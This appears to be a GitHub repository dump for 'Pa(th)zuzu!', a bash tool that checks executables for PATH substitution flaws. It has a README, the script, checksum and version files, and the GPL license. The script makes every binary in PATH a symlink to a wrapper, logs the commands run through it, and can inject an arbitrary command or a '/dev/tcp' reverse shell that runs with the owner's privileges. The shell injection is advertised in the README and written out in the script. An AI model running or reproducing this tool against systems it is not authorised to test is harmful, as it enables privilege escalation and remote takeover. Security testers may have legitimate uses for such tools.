├── version.txt ├── pathzuzu.sh.md5 ├── README.md ├── pathzuzu.sh └── LICENSE /version.txt: -------------------------------------------------------------------------------- 1 | 1.6.9 2 | -------------------------------------------------------------------------------- /pathzuzu.sh.md5: -------------------------------------------------------------------------------- 1 | 6259dffee8ca45cda164af131125f389 pathzuzu.sh 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Pa(th)zuzu! (v1.6.9) 2 | Checks for PATH substitution vulnerabilities, logs the commands executed by the vulnerable executables and injects a reverse shell with the permissions of the owner of the process. 3 | 4 | #How to make it work 5 | - `curl https://raw.githubusercontent.com/ShotokanZH/Pa-th-zuzu/master/pathzuzu.sh > pathzuzu.sh` 6 | - `chmod +x pathzuzu.sh` 7 | - `./pathzuzu.sh` 8 | ``` 9 | __ /___ \ ___ ___ 10 | |__) /\ ( | |__| ) _// \ _// \| 11 | | /--\ \ | | |/ /__\__//__\__/. v1.6.9 12 | 13 | Usage: pathzuzu [-e command] [-r address:port] [-t seconds] command [args] 14 | -c Check for updates (github) 15 | -e command Execute command if target is vulnerable 16 | -r address:port Starts reverse shell to address:port 17 | -t seconds Timeout. Kills target after $seconds seconds 18 | 19 | Extra flags, requiring -e or -r: 20 | -g gid Run command/r.shell only if the group is $gid 21 | -u uid Run command/r.shell only if the user is $uid 22 | 23 | Note: SUID files can bypass the -t flag, it's not a kill-proof solution. 24 | Process may hang because of that. 25 | ``` 26 | 27 | Returns 0 if the executable is vulnerable, 1 otherwise. 28 | 29 | Logs are saved in `pathzuzu.sh.log` ( `$(basename "$0").log` ) 30 | 31 | Demostration (warning: in asciinema on some [very tiny] devices the right part of the screen it's not viewable even while in landscape): 32 | 33 | [![Pa(th)zuzu](https://shotokanzh.keybase.pub/pathzuzu.gif)](https://asciinema.org/a/3bb9qusnanh2g2kvel4k775v1?autoplay=true) 34 | -------------------------------------------------------------------------------- /pathzuzu.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | #+-----------+ 3 | #|PA(TH)ZUZU!| 4 | #+-v1.6.9----+------+ 5 | #|Brought to you by:| 6 | #| Shotokan@aitch.me| 7 | #+-PGP-AHEAD--------+----------+ 8 | #|https://keybase.io/ShotokanZH| 9 | #+-$BEGIN----------------------+ 10 | 11 | export l_version="1.6.9"; 12 | 13 | #color definition 14 | export def=$(echo -en "\e[1;32m"); #used for definitions, bold green 15 | export und=$(echo -en "\e[1;4;31m"); #used for important things, bold, underlined, red 16 | export res=$(echo -en "\e[0m"); #reset 17 | 18 | echo -en "${res}${def}"; 19 | cat << EOF 20 | 21 | __ /___ \ ___ ___ 22 | |__) /\ ( | |__| ) _// \ _// \| 23 | | /--\ \ | | |/ /__\__//__\__/. v${l_version} 24 | 25 | EOF 26 | echo -en "${res}"; 27 | 28 | ip=""; 29 | port=""; 30 | exe=""; 31 | t_gid=""; 32 | t_uid=""; 33 | timeout=""; 34 | 35 | function check_update(){ 36 | local urlbase="https://raw.githubusercontent.com/ShotokanZH/Pa-th-zuzu/master/"; 37 | echo -n "Checking.." 38 | local r_version=$(curl -s "${urlbase}version.txt" | grep -oP '^\d+(\.\d+)+$'); 39 | if [ "$r_version" != "" ]; 40 | then 41 | if [ "$l_version" != "$r_version" ]; 42 | then 43 | echo -e "\r\033[K${def}New version found! (${r_version})${res}"; 44 | 45 | echo "Downloading script.."; 46 | local tmpf=$(mktemp); 47 | curl -s "${urlbase}pathzuzu.sh" > $tmpf; 48 | 49 | echo -n "Checking checksum.."; 50 | local md5l=$(md5sum $tmpf | cut -d ' ' -f 1); 51 | local md5r=$(curl -s "${urlbase}pathzuzu.sh.md5" | cut -d ' ' -f 1); 52 | 53 | if [ "$md5l" != "$md5r" ]; 54 | then 55 | echo -e "\r\033[K${und}Checksum error! ($md5l != $md5r)${res}"; 56 | rm $tmpf; 57 | exit 3; 58 | fi; 59 | 60 | echo -e "\r\033[KChecksum ${def}\"${md5r}\"${res}: ${def}OK!${res}"; 61 | 62 | local tmpbk=$(mktemp); 63 | mv "$0" "$tmpbk"; 64 | echo "Old version (${und}${l_version}${res}): ${und}${0}${res} => ${def}${tmpbk}${res}"; 65 | 66 | mv "$tmpf" "$0"; 67 | chmod 755 "$0"; 68 | echo "New version (${def}$r_version${res}): ${und}${tmpf}${res} => ${def}${0}${res}"; 69 | 70 | echo "Starting old copy removal.."; 71 | (sleep 5; rm "${tmpbk}")& 72 | 73 | echo "Done."; 74 | else 75 | echo -e "\r\033[KNo new updates. (Last: ${def}${r_version}${res})"; 76 | exit 1; 77 | fi; 78 | else 79 | echo -e "\r\033[K${und}Error received while retrieving updates!${res}"; 80 | exit 2; 81 | fi; 82 | } 83 | 84 | err=0; 85 | OPTIND=1; 86 | while getopts 'ce:g:r:t:u:' opt; 87 | do 88 | case "$opt" in 89 | c) #check for updates 90 | if [ -w "$0" ]; 91 | then 92 | check_update; 93 | exit 0; 94 | else 95 | echo "${und}'$0' can't be overwritten by the current user!${res}"; 96 | exit 4; 97 | fi; 98 | ;; 99 | e) #execute command 100 | exe="$OPTARG"; 101 | ;; 102 | g) #gid 103 | t_gid="$(echo "$OPTARG" | grep -aoP '^\d+$')"; 104 | if [ "$t_gid" == "" ]; 105 | then 106 | echo "Invalid -g [required ${def}p_int${res}]" >&2; 107 | err=1; 108 | fi; 109 | ;; 110 | r) #reverse shell 111 | ip="$(echo "$OPTARG" | cut -d ':' -f 1 | grep -aoP '^[a-zA-Z0-9._-]+$')"; 112 | port="$(echo "$OPTARG" | cut -d ':' -f 2 | grep -aoP '^\d+$')"; 113 | if [ "$ip" == "" ] || [ "$port" == "" ]; 114 | then 115 | echo "Invalid -r [required ${def}/^[a-zA-Z0-9._-]+:\d+\$/${res} ]" >&2; 116 | ip=""; 117 | port=""; 118 | err=1; 119 | fi; 120 | ;; 121 | t) #timeout 122 | timeout="$(echo "$OPTARG" | grep -aoP '^\d+$')"; 123 | if [ "$timeout" == "" ]; 124 | then 125 | echo "Invalid -t [required ${def}p_int${res}]" >&2; 126 | err=1; 127 | fi; 128 | ;; 129 | u) #uid 130 | t_uid="$(echo "$OPTARG" | grep -aoP '^\d+$')"; 131 | if [ "$t_uid" == "" ]; 132 | then 133 | echo "Invalid -u [required ${def}p_int${res}]" >&2; 134 | err=1; 135 | fi; 136 | ;; 137 | esac; 138 | done; 139 | shift "$((OPTIND-1))"; 140 | 141 | [ $err -eq 1 ] && echo ""; 142 | 143 | tor="$(which "$1")"; 144 | log="$(basename "$0").log" 145 | startd="$PWD"; 146 | 147 | if [ ! -w "$log" ]; 148 | then 149 | startd=""; 150 | log="$(mktemp)"; 151 | fi; 152 | 153 | if [ "$tor" = "" ]; 154 | then 155 | echo "Usage: $(basename "$0") [-e command] [-r address:port] [-t seconds] command [args]"; 156 | echo -e "\t-c\t\t${und}C${res}heck for updates (github)"; 157 | echo -e "\t-e command\t${und}E${res}xecute command if target is vulnerable"; 158 | echo -e "\t-r address:port\tStarts ${und}r${res}everse shell to address:port"; 159 | echo -e "\t-t seconds\t${und}T${res}imeout. Kills target after \$seconds seconds"; 160 | echo ""; 161 | echo "Extra flags, requiring -e or -r:"; 162 | echo -e "\t-g gid\tRun command/r.shell only if the ${und}g${res}roup is \$gid"; 163 | echo -e "\t-u uid\tRun command/r.shell only if the ${und}u${res}ser is \$uid"; 164 | echo ""; 165 | echo "Note: SUID files can bypass the -t flag, ${und}it's not a kill-proof solution." 166 | echo "Process may hang because of that.${res}"; 167 | echo ""; 168 | exit 1; 169 | fi; 170 | 171 | trap '' 2; 172 | 173 | rm -rf "$log" 2>/dev/null; 174 | 175 | echo "$(dirname "$tor")" | grep "^\." >/dev/null; 176 | if [ $? -eq 0 ]; 177 | then 178 | tor="$PWD/$tor"; 179 | fi; 180 | 181 | ex_ugid=""; 182 | 183 | if [ "$t_uid" != "" ]; 184 | then 185 | ex_ugid="[ \"\$(id -u)\" == \"$t_uid\" ] && "; 186 | fi; 187 | 188 | if [ "$t_gid" != "" ]; 189 | then 190 | ex_ugid="${ex_ugid}[ \"\$(id -g)\" == \"$t_uid\" ] && "; 191 | fi; 192 | 193 | tmpd=$(mktemp -d); #link directory 194 | chmod 755 "$tmpd"; 195 | tmpl=$(mktemp -d); #lock directory 196 | chmod 777 "$tmpl"; 197 | tmpf=$(mktemp); 198 | 199 | echo "#!$(which bash)" > $tmpf; 200 | echo "PATH=\"${PATH}\"" >> $tmpf; 201 | echo "echo \"\$(whoami)#\$(id -u):\$(id -g) RUN: \$(basename \"\$0\") \$@\" >> $startd/$log" >> $tmpf; 202 | 203 | if [ "$ip" != "" ] && [ "$port" != "" ]; 204 | then 205 | echo "if ${ex_ugid} mkdir ${tmpl}/pathzuzu_rev_lock 2>/dev/null;" >> $tmpf; 206 | echo "then" >> $tmpf; 207 | echo -e "\tchmod 777 ${tmpl}/pathzuzu_rev_lock;" >> $tmpf; 208 | echo -e "\tbash -i >& /dev/tcp/$ip/$port 0>&1 &" >> $tmpf; 209 | echo "fi;" >> $tmpf; 210 | fi; 211 | if [ "$exe" != "" ]; 212 | then 213 | echo "if ${ex_ugid} mkdir ${tmpl}/pathzuzu_exe_lock 2>/dev/null;" >> $tmpf; 214 | echo "then" >> $tmpf; 215 | echo -e "\tchmod 777 ${tmpl}/pathzuzu_exe_lock;" >> $tmpf; 216 | echo -e "\t( $exe ) &" >> $tmpf; 217 | echo "fi;" >> $tmpf; 218 | fi; 219 | echo "\$(basename \"\$0\") \$@" >> $tmpf; 220 | 221 | chmod 755 "$tmpf"; 222 | 223 | OIFS=$IFS; 224 | IFS=':'; 225 | echo "Lemme do evil things:"; 226 | for p in $PATH; 227 | do 228 | IFS=$'\n'; 229 | list=$(ls "$p" 2>/dev/null); 230 | if [ $? -eq 0 ]; 231 | then 232 | echo -en "\r\033[K\t${def}OK ($p)${res}"; 233 | for soft in $list; 234 | do 235 | ln -s "$tmpf" "$tmpd/$soft" 2>/dev/null; 236 | done; 237 | else 238 | echo -e "\r\033[K\t${und}NOPE ($p)${res}"; 239 | fi; 240 | IFS=':'; 241 | done; 242 | IFS=$OIFS; 243 | 244 | echo ""; 245 | 246 | shift; 247 | 248 | echo "Running: ${def}$tor $@${res}"; 249 | echo ""; 250 | 251 | function printline(){ 252 | local maxl=$(stty size | cut -d ' ' -f 2); 253 | maxl=$(( maxl - 8 )); 254 | local med=$(( maxl / 2 )); 255 | local x=0; 256 | 257 | echo -n "${def}"; 258 | while [ $x -lt $maxl ]; 259 | do 260 | if [ $x -eq $med ]; 261 | then 262 | echo -n "PATHZUZU"; 263 | fi; 264 | echo -n "="; 265 | x=$(( x + 1 )); 266 | done; 267 | echo "${res}"; 268 | } 269 | 270 | printline; 271 | 272 | if [ "$timeout" == "" ]; 273 | then 274 | PATH="$tmpd" "$tor" $@; 275 | else 276 | function timeout(){ #yeah it's a trick. but it works. kind of. 277 | local maxt=$1; 278 | local command="$2"; 279 | local arg="$3"; 280 | bash -c "PID=\$\$;((trap '' PIPE;sleep $maxt; kill -s PIPE \$(ps --ppid \$PID | grep -avP \"\skill\$\" | grep -oP \"^\s*\K\d+\") &>/dev/null; sleep 5; kill -s KILL \$(ps --ppid \$PID | grep -avP \"\skill\$\" | grep -oP \"^\s*\K\d+\") &>/dev/null )& ) | (PATH='$tmpd' '$command' $arg )"; 281 | } 282 | timeout $timeout "$tor" "$@"; 283 | fi; 284 | 285 | rm -rf "$tmpd"; 286 | rm -rf "$tmpf"; 287 | rm -rf "$tmpl"; 288 | 289 | echo ""; 290 | printline; 291 | echo ""; 292 | 293 | trap 2; 294 | 295 | if [ -f "$log" ]; 296 | then 297 | echo "Done! printing ${def}$log${res}:"; 298 | echo ""; 299 | cat "$log"; 300 | exit 0; 301 | else 302 | echo "Done, but nothing found.."; 303 | exit 1; 304 | fi; 305 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. 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It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 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Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | 341 | --------------------------------------------------------------------------------